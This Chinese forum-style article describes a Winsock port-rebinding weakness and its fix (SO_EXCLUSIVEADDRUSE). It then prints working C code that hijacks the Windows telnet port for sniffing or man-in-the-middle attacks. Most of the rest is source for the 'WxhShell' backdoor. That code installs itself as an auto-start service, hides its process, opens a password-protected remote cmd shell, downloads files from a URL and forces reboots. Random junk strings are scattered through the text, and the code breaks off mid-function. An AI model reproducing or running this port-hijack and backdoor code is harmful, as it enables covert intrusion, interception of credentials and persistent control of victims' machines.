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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: j3o?B s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qz-lQ :K*/ saddr.sin_family = AF_INET; ;A?86o'? :dlG:=.W saddr.sin_addr.s_addr = htonl(INADDR_ANY); BE!WCDg, =1VpO{q bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Q-e(>=Gv_ g s%[Cv 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Mn*v&O : %8KbVjn 这意味着什么?意味着可以进行如下的攻击: aqP"Y9l s8*Q@0 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >Qf`xUZ Z(ToemF)hi 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <@c9S,@t Jb!s#g 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;k=`J !imjfkG 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ?KFj=Yo 2Gc0pBqx 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7]
>z e P.Qz>c^-C 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 a^)@}4 ZGS4P 0$ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 za5E{<0 Q/l388' #include 0fw>/"v #include d?[8VfAnh #include GS,}]c= #include 1[(/{CClB DWORD WINAPI ClientThread(LPVOID lpParam); \2[ int main() qD(dAU { 0w".o!2\U{ WORD wVersionRequested; {G-y7y+E DWORD ret; Z"9D1Uk WSADATA wsaData; Oz5Ze/HBN BOOL val; YZc{\~d SOCKADDR_IN saddr; 1{CVd m<9 SOCKADDR_IN scaddr; $btk48a 7 int err; P\2x9T SOCKET s; LHusy;<E[ SOCKET sc; U1pwk[ int caddsize; Wl{}>F`W[ HANDLE mt; sWMY
Lo DWORD tid; :
UDh{GQ* wVersionRequested = MAKEWORD( 2, 2 ); _3m\r*(vmQ err = WSAStartup( wVersionRequested, &wsaData ); 'q{d? K if ( err != 0 ) { _^NL{R/ printf("error!WSAStartup failed!\n"); `6Yk-5 return -1; q[~+Zm } 8sU}[HH*1 saddr.sin_family = AF_INET; TxmKmZ u RxGZ#!j/ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 P?M WT]fY jY$3 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _vOSOnU saddr.sin_port = htons(23); a_Z[@W if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~J1UzUxX2 { ;TCT%j`^o printf("error!socket failed!\n"); 3\?yjL^ return -1; 6;}W)S } 6hf6Z3 val = TRUE; TE@bV9a //SO_REUSEADDR选项就是可以实现端口重绑定的 fsV_>5I6 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *|.-y-> { Z:<6Ck printf("error!setsockopt failed!\n"); NfXEW- return -1; oedLe9! } Si=u=FI1e //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [_3L //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 f5vsxP)Y[ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 x4/f5 \`|OAC0a if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) B&z~}lL { F'JceU ret=GetLastError(); a*{ -r] printf("error!bind failed!\n"); 1y6{3AZm< return -1; 5H/D~hr& } 3/RNStd<L! listen(s,2); f26hB;n while(1) JrwR:_+| { y(=$z/ caddsize = sizeof(scaddr); E3 aj //接受连接请求 m 3"|$0C~ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Tf.DFfV#y if(sc!=INVALID_SOCKET) Yi#U~ h { FSkz[D_} mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); McRfEF\ if(mt==NULL) njBK { { 2!g7F`/B printf("Thread Creat Failed!\n"); P(~vqo>! break; W4S! rU } kPFqsq } ,I8[tiR"b CloseHandle(mt); 6e:#x:O } 76RFu@k closesocket(s); 94GF8P WSACleanup(); LVxR*O return 0; |eFce/ } 0I"r*;9?K DWORD WINAPI ClientThread(LPVOID lpParam) Cc>+OUL { 4xzoA'Mb@ SOCKET ss = (SOCKET)lpParam; &265
B_'D SOCKET sc; N Uo unsigned char buf[4096]; ffoLCx4o0E SOCKADDR_IN saddr; vjO@"2YEw long num; 5YnTGf& DWORD val; :B5M#D!dO DWORD ret; I?Ct@yxhF' //如果是隐藏端口应用的话,可以在此处加一些判断 *_!}g
] //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ,p[9EW*8 saddr.sin_family = AF_INET; {K42PmQL saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _Xzl=j9[ saddr.sin_port = htons(23); *MZa|Xy if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nypG { >}6V=r3[+ printf("error!socket failed!\n"); 5 p! rZ return -1; [mA\,ny9 } y#)ad\ val = 100; ,K~r':ht if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S_dM{.!Z(, { M5T4{^i ret = GetLastError(); T6fm`uL&L return -1; rJ)8KY> } ]U)Yg if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9a3mN(< { }+ZZO0 ret = GetLastError(); )lDmYt7me return -1; F*j0o
+B5 } s>1Wjz2M if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) IH$ZPux { |%c"Avc printf("error!socket connect failed!\n"); WHKe\8zWq closesocket(sc); F<LRo}j"9Q closesocket(ss); *^Xtorqo return -1; xmBGZ4f% } B"=w9w] while(1) XCUU(H { 9KGi%UIFvn //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4g^Xe- //如果是嗅探内容的话,可以再此处进行内容分析和记录 #jd&f,Tt //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Y]])Tq;h5 num = recv(ss,buf,4096,0); ]c~W$h+F if(num>0) ,AEaW send(sc,buf,num,0); Auk#pO# else if(num==0) d@e2+3< break; $hq'9}ASOL num = recv(sc,buf,4096,0); SVJt= M if(num>0) l/g6Tv`w send(ss,buf,num,0); 1?,1EYT" else if(num==0) -wrVhCd~g] break; j$Wd[Ja+O } 8D6rShx = closesocket(ss); G"D=ozr closesocket(sc); l[u=_uaYl return 0 ; _fE$KaP } .LA?2N zyPc<\HoK {?hpW+1,# ========================================================== Ic')L*i7O }\3jcnn 下边附上一个代码,,WXhSHELL cPbAR' 9U]j@*QN ========================================================== c@Q&i O#72h] #include "stdafx.h" A8U\/GP E2u9>m4_J #include <stdio.h> =]m,7 v Rq #include <string.h> EUjA-L( #include <windows.h> R8C#DB #include <winsock2.h> ()o[(Hx+ph #include <winsvc.h> TAp8x #include <urlmon.h> ]mT2a8`c.r \_l4li #pragma comment (lib, "Ws2_32.lib") Ze"m;T #pragma comment (lib, "urlmon.lib") fF]w[lLDv /lDei} #define MAX_USER 100 // 最大客户端连接数 Z)'gj #define BUF_SOCK 200 // sock buffer ne9-
c>> #define KEY_BUFF 255 // 输入 buffer Z,1b$:+ ~>B`T%=H #define REBOOT 0 // 重启 pi;'! d[l% #define SHUTDOWN 1 // 关机 6'45c1e WO!'(" #define DEF_PORT 5000 // 监听端口 iph}!3f 8KMo !p\i #define REG_LEN 16 // 注册表键长度 r<c&;* #define SVC_LEN 80 // NT服务名长度 KGJ *h _:7:ixN[Ie // 从dll定义API fprP$MbI typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ae0t*;~ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H7dT6`<~Y typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OAo;vC:^ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e6gLYhf& O
b'Br // wxhshell配置信息 w9TE E,t;5 struct WSCFG { Znd ,FqHk int ws_port; // 监听端口 N~~
sM"n char ws_passstr[REG_LEN]; // 口令 hMnm> int ws_autoins; // 安装标记, 1=yes 0=no 1\ Gxk& char ws_regname[REG_LEN]; // 注册表键名 \[&&4CN{ char ws_svcname[REG_LEN]; // 服务名 ,)M/mG?, char ws_svcdisp[SVC_LEN]; // 服务显示名 _"[Ls?tRX char ws_svcdesc[SVC_LEN]; // 服务描述信息 6KDm#7J char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G.3yuok9 int ws_downexe; // 下载执行标记, 1=yes 0=no \wF-[']N char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" W5,&*mo char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qNi`OVh& MFQyB+Z
}; IxaF*4JG &a.A8v) // default Wxhshell configuration Z -fiJ75 struct WSCFG wscfg={DEF_PORT, 'Y0h w "xuhuanlingzhe", G j^* 1, X^Fc^U8 "Wxhshell", ?&?5x%|.< "Wxhshell", Y.kgJ #2 "WxhShell Service", M;9s "Wrsky Windows CmdShell Service", PUmgcMt "Please Input Your Password: ", FxmHy{JG 1, V{UY_
e8W " http://www.wrsky.com/wxhshell.exe", lokKjs "Wxhshell.exe" U^8S@#1Q }; }#h`1 uV M $f6.j // 消息定义模块 h43py8v char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L7]o^p{g}Q char *msg_ws_prompt="\n\r? for help\n\r#>"; \,ne7G21j char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 0*E_D char *msg_ws_ext="\n\rExit."; Q^bYx (r5w char *msg_ws_end="\n\rQuit."; {mUt|m7! char *msg_ws_boot="\n\rReboot..."; gI!d*]{BP char *msg_ws_poff="\n\rShutdown..."; 055C1RV% char *msg_ws_down="\n\rSave to "; $plqk^P >t{-_4Yv? char *msg_ws_err="\n\rErr!"; JOH\K0=e char *msg_ws_ok="\n\rOK!"; u|LDN*#DW +ZOKfX char ExeFile[MAX_PATH]; =Cd{bj.8 int nUser = 0; SY.ZEJcv HANDLE handles[MAX_USER]; <nTZs`$LwL int OsIsNt; zx5#eMD WPAT\Al&AE SERVICE_STATUS serviceStatus; \/64Xv3L0 SERVICE_STATUS_HANDLE hServiceStatusHandle; vi28u xc +)LCYDRV7 // 函数声明 Xdf4%/Op int Install(void); hn~btu9h int Uninstall(void); 05:?5M4}; int DownloadFile(char *sURL, SOCKET wsh); _F8THYg ( int Boot(int flag); ST2:&xH( void HideProc(void); OG9 '[o`8 int GetOsVer(void); ;;6$d{ int Wxhshell(SOCKET wsl); bgxk:$E void TalkWithClient(void *cs); `<{LW>Lb int CmdShell(SOCKET sock); udXzsY9Ng int StartFromService(void); D?=4'"@v
int StartWxhshell(LPSTR lpCmdLine); rp+]f\]h ..zX VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Mh{244|o[ VOID WINAPI NTServiceHandler( DWORD fdwControl ); W1521: ut#pg+#Q // 数据结构和表定义 5mS/,fs@ SERVICE_TABLE_ENTRY DispatchTable[] = --EDr>'D5P { `NTtw;%Y {wscfg.ws_svcname, NTServiceMain}, uW
[yNwM {NULL, NULL} ex
BLj
*] }; ?GlXxx=eV W*%(J$E // 自我安装 ]&N>F8.L+ int Install(void) wX$|(Y} { Zl>dBc% char svExeFile[MAX_PATH]; f >.^7.is HKEY key; ik#Wlz`4 strcpy(svExeFile,ExeFile); `5e{ec
c7 3-&~jm~" // 如果是win9x系统,修改注册表设为自启动 #uF`|M$u if(!OsIsNt) { ~sZ$`t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y+Hz(}4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D(OJr5Gg RegCloseKey(key); 684|Uuf7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R$+p4@?S RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2W2T RegCloseKey(key); TMo DN%{ return 0; T@*'}* } y$9! rbL } /!MVpi'6& } ``eam8Az_U else { jijwHL \m%c"'[ // 如果是NT以上系统,安装为系统服务 QM*
T?PR SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]-9w'K d if (schSCManager!=0) fERO(o { Xhq6l3 M SC_HANDLE schService = CreateService M9""(`U ( ;b:'i&r
schSCManager, 5\=
y9Z- x wscfg.ws_svcname, N.H<'Q8& wscfg.ws_svcdisp, G |[{\ SERVICE_ALL_ACCESS, O@4 J=P=w SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PR]b]= SERVICE_AUTO_START, '
,S}X\ SERVICE_ERROR_NORMAL, SZyORN svExeFile, DIw_"$'At NULL, - U\'Emu4 NULL, %<x!mE x NULL, %1$#fxR NULL, P%H Dz NULL \=7jp|{Yl ); Mm(#N/ if (schService!=0) r~2hTie { UfPHV%Wd CloseServiceHandle(schService); 1]eRragm" CloseServiceHandle(schSCManager); Gw\..O strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A*wf:
mW0c strcat(svExeFile,wscfg.ws_svcname); NPrLM5 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <e?Eva%t` RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8Y.9%@ RegCloseKey(key); M2N8?Ycv3 return 0; HFI0\*xn( } hxK;f } \xbUr`WBY CloseServiceHandle(schSCManager); B~7!v${ } oda, } r uGeN M;,$
)>P return 1; ]gg(Z!|iQ } fggs
;Le D[ #V // 自我卸载 jeJgDAUv int Uninstall(void) `d$@1 { Ei):\,Nv HKEY key; FOk;=+ g_`a_0v if(!OsIsNt) { 9$Z0mz k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~r!(V;k{ RegDeleteValue(key,wscfg.ws_regname); *<!q@r<d RegCloseKey(key); &H]/'i- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aY#?QjL RegDeleteValue(key,wscfg.ws_regname); [5& nH@og RegCloseKey(key); #MlpOk*G return 0; @qan &?-Y } ~^V&n`*7D } Pv/v=s>X } XWnP(C9? else { bY=[ USgps )?UoF&c/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Jp_#pV*}: if (schSCManager!=0) {\(MMTQ { @$T$ hMl SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $q)YC.5$ if (schService!=0) 4minzrKM\ { z&tC5]# if(DeleteService(schService)!=0) { @;tfHoXD CloseServiceHandle(schService); Tk4>Jb CloseServiceHandle(schSCManager); Lr D@QBT return 0; Leb|YX } V7Cnu:0_ CloseServiceHandle(schService); 7!pKlmQ } v={{$=/t CloseServiceHandle(schSCManager); KDq="=q } $vf gYl4q } R-S<7Q3E0= tLTavE[@ return 1; GQn:lu3j: } q\?s<l63 $TXxhd 6 // 从指定url下载文件 ovTL'j! int DownloadFile(char *sURL, SOCKET wsh) p>`rTaeZg { Iz09O:ER HRESULT hr; 1xW!j!A; char seps[]= "/"; B/1j4/MS char *token; 7;fC%Fq char *file; eZa*WI= char myURL[MAX_PATH]; 3-
Kgz char myFILE[MAX_PATH]; 8m?(* [[ OL>>/T strcpy(myURL,sURL); *x|%Nua" token=strtok(myURL,seps); 7@fS2mu while(token!=NULL) #5@(^N5p` { FOsd{Fw file=token; U`ttT5; token=strtok(NULL,seps); E]OexRJ^i } /'rj L<M p2Ep(0w,R5 GetCurrentDirectory(MAX_PATH,myFILE); v'@gUgC strcat(myFILE, "\\"); _xaum strcat(myFILE, file); {r&mNbz send(wsh,myFILE,strlen(myFILE),0); 6:#o0OeBP send(wsh,"...",3,0); K=[7<b,:3 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \5r^D|Rp} if(hr==S_OK) vn^O m-\ return 0; G<$:[ +w else @-!P1]V| return 1; #:gd9os : )=[\Yf K } T(D6'm:X @(sz " // 系统电源模块 <eG| ` int Boot(int flag) 1_]X { \%a0Lp{ I HANDLE hToken; 89FAh6u E TOKEN_PRIVILEGES tkp; Xxg|01 V/ G1C^'/ if(OsIsNt) { 73cb1kfPd OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Trv}YT. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :W*yfhLt tkp.PrivilegeCount = 1; xSmG,}3mF tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k4K.
mlIO AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #Q8_:dPY if(flag==REBOOT) { f1 x&Fk if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .5
.(S^u return 0; Z@0tZ^V{ } Zd[rn:9\ else { _`udd)Y2 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z!"-LQJ return 0; U6M~N0)Yr } ;
j!dbT~5 } U#[&( else { ]->"4,} if(flag==REBOOT) { 0Qt!w( if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =0g!Q return 0; }
{1IB } 6R n?pe^ else { 4E^ ?}_$ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H0af u)$, return 0; ~XTC:6ts } 0~qc,-)3 } /mex{+p>tO F06o-xH= return 1; #DUfEZ } eP-|3$ |UXSUP
@s // win9x进程隐藏模块 +F8{4^w1 void HideProc(void) 5qz,FKx5 { mJUM#ry <1|[=$w HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G"<#tif9K if ( hKernel != NULL ) 7?Wte&C];p { ..)J6L5l pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $l]:2!R ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qIi
\[Ugh FreeLibrary(hKernel); _i05'_ } r:g\ f$C{Z9_SX return; EqW~K@ } L
kK
*. q?}C`5%D // 获取操作系统版本 k[r^@| int GetOsVer(void) vE:*{G;Y { keAoJeG,J OSVERSIONINFO winfo; 2RkW/)A9 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vjS`;^9 GetVersionEx(&winfo); a^%iAe if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y9)j1~ return 1;
k*$WAOJEW else iOk;o= return 0; &<F9Z2^ } l_h:S`z. :ppaq // 客户端句柄模块 *S,~zOYN int Wxhshell(SOCKET wsl) lfgJQzi
G { lz,M$HG<[ SOCKET wsh; xi5"?*&Sb struct sockaddr_in client; +RooU?Aq DWORD myID; 7:jLZ!mgi 7f>=-sv while(nUser<MAX_USER) B>53+GyMV { t(z]4y int nSize=sizeof(client); 2&1mI>:F wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2aYBcPFQh# if(wsh==INVALID_SOCKET) return 1; ot}erC2~ mku@n;Hl_ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .t "VsY| if(handles[nUser]==0) _?~%+Oz/ closesocket(wsh); T8^9*]:@c! else f^F;`;z nUser++; *Al@|5 } >d + }$dB WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b$_81i 7gC?<;\0 return 0; = ~1EpZ } r:H]`Uo'r . &^p@A~ // 关闭 socket >#]A2, void CloseIt(SOCKET wsh) bU=Utniq { !d72f8@9 closesocket(wsh); 0kE[=#'.' nUser--; F&B\ X ExitThread(0); kXz~ez 7 } .#( vx; Q-<]'E#\( // 客户端请求句柄 6
5govor void TalkWithClient(void *cs) luoQ#1F?sl { Aw#<: 6- _uIS[%4g SOCKET wsh=(SOCKET)cs; FZi@h char pwd[SVC_LEN]; Sm'Tz&! char cmd[KEY_BUFF]; CRb*sfKDL char chr[1]; Z
[!"x&H]h int i,j; -#Z df| ^DYS~I%s while (nUser < MAX_USER) { 5$9$R(KU &;@L]
o if(wscfg.ws_passstr) { "jL>P) if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X*2W4udF //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cH5i420;aO //ZeroMemory(pwd,KEY_BUFF); CFbNv9GZj i=0; c-+NWC while(i<SVC_LEN) { }A3/( =D1 // 设置超时 $TIeeTB fd_set FdRead; v=llg ^ struct timeval TimeOut; @v)Z>xv FD_ZERO(&FdRead); Gx C+lqH# FD_SET(wsh,&FdRead); [^hW>O=@TN TimeOut.tv_sec=8; xM jn=\} TimeOut.tv_usec=0; x%mRDm~- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~gI%lORqN if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NEq_!!/sF h^3gYL7O6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '< Zm>L& pwd =chr[0]; h:4(Gm; if(chr[0]==0xd || chr[0]==0xa) { VF?H0}YSHb pwd=0; '/>Mr!H# break; Wiis<^) } +CSpL2@ i++; D+7xMT8pqH } CS[]T9|_
{++EX2 // 如果是非法用户,关闭 socket NUsxMhP if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;.}L#'0j } +x%u?ZR io#}z4"'qY send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KIF9[/P send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x9l7|G/$ tYjG8P# while(1) { `J.,dqGb Sdq}?- &Sa ZeroMemory(cmd,KEY_BUFF); [Sm<X @O#!W]6NT6 // 自动支持客户端 telnet标准 ;<+efYmyc j=0; Ud/>oaW?s while(j<KEY_BUFF) { m\>gOTpA4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 07 LyB\l~ cmd[j]=chr[0]; ~5HkDtI) if(chr[0]==0xa || chr[0]==0xd) { -@N-i$!;J cmd[j]=0; 'va[)~! break; @\by`3*Q } xFu ,e j++; 0z=KnQx"4 } tJ(xeb owNwj // 下载文件 k(ouE|B if(strstr(cmd,"http://")) { bDl:,7; send(wsh,msg_ws_down,strlen(msg_ws_down),0); /M2in]oH if(DownloadFile(cmd,wsh)) h#0n2o # send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;$D,w else iK}p#"si send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KsULQJ#, } C*Q7@+& else { :C5w5
Vnj !Rv ;~f/2 switch(cmd[0]) { T~UDD3 +5y^c|L0 // 帮助 ";/]rwHa) case '?': { }c,b]!: send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TEV DES break; 'w:ugb9] } lelmX // 安装 T}Tv}~!f case 'i': { 0,hs%x>v if(Install()) U%vTmdOY send(wsh,msg_ws_err,strlen(msg_ws_err),0); <'=!f6Wh else 971=OEyq* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \,;glY=M! break; |V34;}\4 } n.+*_c8 k // 卸载 @<W` w case 'r': { Iy)1(upM if(Uninstall()) Jh+;+" send(wsh,msg_ws_err,strlen(msg_ws_err),0); 24wDnDyh else pm
O9mWq send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I9kz)Q o break; {a[BhK'g } TuwP'g[ // 显示 wxhshell 所在路径 'n|U
case 'p': { 6J;!p/C8E char svExeFile[MAX_PATH]; D`XXR}8V strcpy(svExeFile,"\n\r"); \Z5Wp5az}, strcat(svExeFile,ExeFile); wUvE send(wsh,svExeFile,strlen(svExeFile),0); jIKg* @ break; n@pwOHQn<| } )G48,.
" // 重启 <)d%c%f'` case 'b': { "~Fg-{jM% send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); INndTF if(Boot(REBOOT)) #Y= A#Yz,{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); S.MRL, else { >nkVZ;tL closesocket(wsh); FG${w.e< ExitThread(0); k8 #8)d } TQB)
A9 break; MZ38=nJ } bidFBldKl // 关机 bd/A0i?C case 'd': { a8xvK;` send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i[z 2'tx4 if(Boot(SHUTDOWN)) 6lzjaW5h send(wsh,msg_ws_err,strlen(msg_ws_err),0); t|@5,J else { {t;o^pUF closesocket(wsh); `n>/MY ExitThread(0); cyNE} } O/eZ1YAC break; ?;tPqOs& } z$&B7? // 获取shell |5flvkid case 's': { s8
WB!x {t CmdShell(wsh); Y%i<~"k closesocket(wsh); 56C8)? ExitThread(0); mAlG}< break; K+Him]
b } Dbn~~P // 退出 e"866vc, case 'x': { 1(;{w+nM send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r(^00hvH CloseIt(wsh); |?KYY0 break; {/noYB<; } '6zZ`Ll9 // 离开 8i;1JA case 'q': { AYf}=t| send(wsh,msg_ws_end,strlen(msg_ws_end),0); C-edQWbcP closesocket(wsh); |0ZJ[[2 WSACleanup(); ue8 @=} exit(1); )Q1aAS3 break; *o1US } >|S@twy } 3nBZ+n4z } 4$^mLD$> U_VP\ 03 // 提示信息 F,vkk{Z> if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @*rMMy 4 } ?Nt( sZ- } pnu?=.O N:|``n> return; B-g uz[v } )i /w:g> dg.1{6HM // shell模块句柄 [xGwqa03 int CmdShell(SOCKET sock) gI7*zR4D { n]6'!Eo STARTUPINFO si; OK4r) ZeroMemory(&si,sizeof(si)); ,LZA\XC si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u'? +JUd1 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E$lbm>jsb$ PROCESS_INFORMATION ProcessInfo; '7oR|I char cmdline[]="cmd"; l4DBGZB CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q=^;lWs4 return 0; glC,E> } L)M{S3q, 8}yrsF# // 自身启动模式 4evN^es'I_ int StartFromService(void) _L=-z*a\ { l!gX-U%- typedef struct (P E.v1T { a;5clonB DWORD ExitStatus; `BZ|[
q3 DWORD PebBaseAddress; *& w/*h$! DWORD AffinityMask; W7C1\'T DWORD BasePriority; N!.o`4 "z ULONG UniqueProcessId; BqJ|l7+ ULONG InheritedFromUniqueProcessId; .S:(O+#Gm } PROCESS_BASIC_INFORMATION; C'@I!m._i `(j~b=PP PROCNTQSIP NtQueryInformationProcess; =m<b+@?T io\t>_ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ty5# a static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :Xy51p`.;] NcbW"Qv3 HANDLE hProcess; Z>UM gu3c PROCESS_BASIC_INFORMATION pbi; ;8=Bee4 <LZ#A@]71 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3` IR
